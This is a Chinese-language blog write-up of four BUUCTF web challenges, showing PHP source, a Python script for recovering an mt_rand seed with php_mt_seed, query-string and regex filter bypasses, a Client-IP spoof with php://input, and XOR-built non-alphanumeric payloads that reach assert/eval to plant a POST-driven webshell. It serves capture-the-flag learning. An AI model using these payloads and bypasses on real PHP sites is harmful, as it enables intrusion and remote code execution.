buuctf14

[BSidesCF 2019]Futurella

查看源码就有flag?

[GWCTF 2019]枯燥的抽奖

1ULiwClayf
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

第一反应是写脚本爆破,但是感觉数字太大了,再看看其他地方也没其他线索主要是,

for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}

总觉得这个加密函数有点搞头吧?看看有无漏洞

mt_rand漏洞。。还真有==
https://xz.aliyun.com/t/31
https://www.anquanke.com/post/id/196831
https://www.freebuf.com/sectool/205240.html
https://github.com/openwall/php_mt_seed脚本下载链接

思路:

1.由于我们得到的内容是经过处理的,所以我们要先还原才知道mt_rand生成了啥
2.知道mt_rand生成了啥以后获得其随机种子
3.获得随机种子在进行加密获得剩下的位数

str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='1ULiwClayf'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(0,9):
for j in range(0,62):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+'61'+' '//这个是使用php_mt_seed脚本爆破所需要的格式
print("*"*6)
print(str2[i],str1[j])
break
print(res)
27 27 0 61 56 56 0 61 47 47 0 61 8 8 0 61 22 22 0 61 38 38 0 61 11 11 0 61 0 0 0 61 24 24 0 61 

脚本使用代码:

在目录下创建 make
然后使用time ./php_mt_seed 随机数

复制网页生成随机字符串代码,更改我们的种子然后输出

<?php
mt_srand('408372545');
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
print($str);

即可拿到flagimg

img

[MRCTF2020]套娃

查看源码

//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

解析一下 得到以下几点信息:
1.传入数据不能有_且不能有%5f
2.需要传入b_u_p_t且值为不等于2333又需要买满足正则匹配式以23333结尾
so如何绕过?

php的字符串解析特性

1.寻找_的替代品

https://www.freebuf.com/articles/web/213359.html

img

这篇文章里有:可以是用以上字符:

2.绕过正则匹配,也是以上文章 说%0a会被转化为空,也可以绕过正则匹配,于是:

?b+u+p+t=23333%0a

得到新提示
img

查看源码 看到jsfuck源码,f12控制台运行一下,说要post

img 拿到源码
<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

看到说还是需要ip进行绕过:
ip读取有三种,一种是xff,一种client-ip还有一种是remote_addr这里我就用了client-ip就绕过了

client-ip: 127.0.0.1

使用PHP伪协议绕过字符串等于:

?2333=php://input
post:todat is a happy day

接下来审计一下file的源码,如何加密:

<?php
function change($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr (ord($v[$i])-$i*2);
}
$re = base64_encode($re);
return $re;
}
$a='flag.php';
$flag=change($a);
print($flag);
//function change($v){
// $v = base64_decode($v);
// $re = '';
// for($i=0;$i<strlen($v);$i++){
// $re .= chr ( ord ($v[$i]) + $i*2 );
// }
// return $re;
//}
//$a='ZmpdYSZmXGI=';
//$flag=change($a);
//print($flag);
//$a='1';
//print(chr(ord($a)));
ZmpdYSZmXGI=

最终payload:

?2333=php://input&file=ZmpdYSZmXGI=
img

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

本题给了源码,主要在于绕过正则匹配,如何构造?除了这些我们只剩下字符,所以如何用字符构造出字母呢?查到资料说是利用异或操作,写个python脚本跑一下看看都有啥字符:

import re
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
# if re.match('[a-zA-Z0-9]+','a'):

result=""
print(chr(ord('!')^ord('@')))
for j in range(len(str)):
for i in range(len(str)):
result=chr(ord(str[j])^ord(str[i]))
# print(result)
if re.match('[a-zA-Z0-9]+',result):
print str[j]+"^"+str[i]+"="+result
print("\n")
正则 re.findall  的简单用法(返回string中所有与pattern相匹配的全部字串,返回形式为数组)
re.match(pattern,string),要匹配的内容,以及要从什么里面匹配
re.search,从什么里面搜索返回

构造一下payload:

`$GET['1']`;
<^{=G
>^{=E
{^/=T
\^;=g
$_='<>{'^'{{/';//get
\^,=p
@^)=i
(^@=h
.^@=n
;^]=f
/^@=o
/^\=s
/^[=t
~^!=_
}^-=P
/^`=O
~^-=S
'\(\@.;/'^',@,)@]@'
$_='\(\@.;/'^',@,)@]@';$_();//phpinfo()

调试过程:使用pyhon脚本跑出字母以后,直接去取然后拼凑,异或操作可以合并进行异或,省事很多,打算要执行系统吗命令来着,但是啥也不执行不出来,去phpinfo里面查了一下发现是发现是disable_function禁用了很多函数,所以这里可以写shell进行disable_function插件的执行

<?php

// $code=$_GET['code'];
// if(strlen($code)>40){
// die("This is too Long.");
// }
// if(preg_match("/[A-Za-z0-9]+/",$code)){
// die("NO.");
// }
//print('~<>{'^'!{{/');
//$_='~<>{'^'!{{/';//get
$_='~}/~{'^'!-`-/';
//print($_);
eval($$_['a']);

//eval($_());
//print($_GET['a']);

payload:

http://90a70cb7-75d4-4059-b574-c59fe13eb0a2.node3.buuoj.cn/?code=$_='~<>{'^'!{{/';${$_}[_](${$_}[__]);&_=assert&__=eval($_POST['a'])//连续GET两个值,然后使用assert,这里用不了eval不知道为啥00,可能哪里不太符合php的格式,而assert对输入语句的格式要求没那么严格。

img

还有其他方法,https://www.smi1e.top/php%e4%b8%8d%e4%bd%bf%e7%94%a8%e6%95%b0%e5%ad%97%e5%ad%97%e6%af%8d%e5%92%8c%e4%b8%8b%e5%88%92%e7%ba%bf%e5%86%99shell/
剩下的后面再好好看吧~有一说一,构造得我人都傻了–
PS:调试eval的时候可以使用print先输出内容,或者使用phpinfo()执行,这样就可以得知eval到底能不能此语句!

Author

vague huang

Posted on

2021-04-24

Updated on

2021-07-20

Licensed under

Comments